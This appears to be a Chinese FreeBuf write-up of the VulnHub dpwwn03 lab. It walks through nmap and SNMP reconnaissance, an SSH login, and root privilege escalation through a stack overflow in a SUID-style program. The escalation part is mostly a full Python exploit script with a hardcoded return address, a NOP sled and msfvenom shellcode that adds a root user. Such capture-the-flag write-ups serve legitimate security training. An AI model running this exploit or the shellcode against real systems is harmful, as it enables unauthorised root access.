最近在刷vulnhub靶场,偶然间做到了dpwwn系列的靶场,其中dpwwn03靶场提权用的是程序栈溢出的漏洞,相对常规方法还是比较少见的,所以拿出来单独在这里研究下。既然讲到了提权,顺带介绍下常规的提权方式:
1、内核漏洞
例如脏牛这类型的。
2、定时任务
3、suid提权
4、sudo配置错误
5、第三方组件
6、NFS提权
下面我们从头开始介绍dpwwn03这个靶场的渗透过程,以这个靶场为对象进行相关知识的研究。
一、主机发现
因为是靶场,在配置好虚拟机的NAT连接方式后,需要发现靶机的ip,使用如下的命令:
arp-scan -l
nmap -sP 192.168.167.0/24
二、端口发现
常用的命令有:
nmap -sS -sV -Pn -T4 -p- 192.168.167.189
nmap -A -O -sV -p 22,161 –script=vuln 192.168.167.189
下图是我对靶机的扫描结果:
这个靶机因为没有web端口,所以目录扫描就省去了,不然在实战中,目录扫描是很关键的一步,通常都需要通过目录扫描来提供漏洞挖掘思路。
三、漏洞挖掘
从端口的扫描结果可以知道,该靶机渗透的重点就在22和161端口,我们一个一个来试试。
1、ssh
nmap通过脚本扫描已经列出了一堆,在用searchsploit看看;
没找到能合适用的exp,换下一个端口试试。
2、snmp
也没发现啥合适的漏洞。
后来找到了一款针对snmp协议的工具,使用了一下发现:
其他就没啥思路了。用这个john去试了试ssh登录,居然成功了,有点玄幻了。
四、提权
连上ssh后,一上来肯定是要sudo的都试试;
在sudo -l中已经发现了线索,看下ss.sh;
到这里提权思路已经很明显了,suid提权的思想,smashthestack是以root的权限运行的,如果通过smashthestack在运行其他程序,那其他程序也是以root的权限运行的,下面就来研究下smashthestack这个程序。
程序分析
gcc -z execstack -o test test.c
这个程序可以在栈上执行代码,条件便利了很多。
这里栈溢出的难点在于找到溢出后shellcode的存放地址,以便覆盖返回地址后,能正确的将返回地址覆盖为shellcode的地址。(我是直接进到靶机里去调试的,当然,用edb、gdb调试甚至爆破都是可以的。)
这里用msfvenom生成自己所需要的shellcode:
这个shellcode的作用是添加一个root权限的用户hack。
完整的exp如下:
#!/usr/bin/python import sys, socket EIP = "xd1xf2xffxbf" junk = "A"*732 NOP = "x90" * 16 # msfvenom -p linux/x86/adduser USER=hack PASS=hack123 -e x86/alpha_mixed -f c payload = ( "x89xe0xdaxcaxd9x70xf4x59x49x49x49x49x49x49x49" "x49x49x49x49x43x43x43x43x43x43x37x51x5ax6ax41" "x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42" "x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x35" "x61x58x49x4cx49x48x4bx50x6ax51x56x51x48x68x4d" "x4bx30x42x4ax53x35x50x58x45x61x6fx39x72x71x75" "x38x62x53x32x53x32x57x70x64x62x48x66x4fx34x6f" "x44x30x73x51x45x38x34x6fx30x65x51x64x70x63x4b" "x39x78x63x52x61x4dx65x45x54x58x4dx4bx30x6fx63" "x6ax48x77x52x57x70x77x70x53x30x61x78x51x71x70" "x63x52x4bx77x4ax52x61x30x7ax75x32x62x67x31x62" "x54x6fx57x31x75x35x33x71x43x62x32x71x74x30x71" "x51x76x5ax46x50x57x4ax56x50x46x5ax56x5ax64x6f" "x46x5ax34x6fx63x52x50x69x72x4ex34x6fx44x33x52" "x48x75x5ax63x69x4cx4bx72x71x4bx4cx30x6ax43x34" "x56x38x5ax6dx6bx30x43x5ax63x31x50x58x78x4dx4d" "x50x41x41" ) buffer = junk + EIP + NOP + payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("localhost",3210)) #s.connect(("192.168.167.138",3210)) 尝试远程溢出,但远端程序连接存在问题没有成功; s.send(buffer) s.close()
而后直接su hack就完成了提权。
大家还可以根据自己的需要,利用msfvenom生成各种payload进行测试,在这里就不再重复了。
总结
靶机的渗透脑洞了一下,也学到了snmp这个平时我们很容易忽视的协议。关于提权,原理和思路都很清晰,溢出的方法也不难,就是程序的调试有点让人崩溃,需要自己去找到shellcode的存放位置,因为开了PIE,所以不同系统、不同机器启动后shellcode的位置都会发生变化。
本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载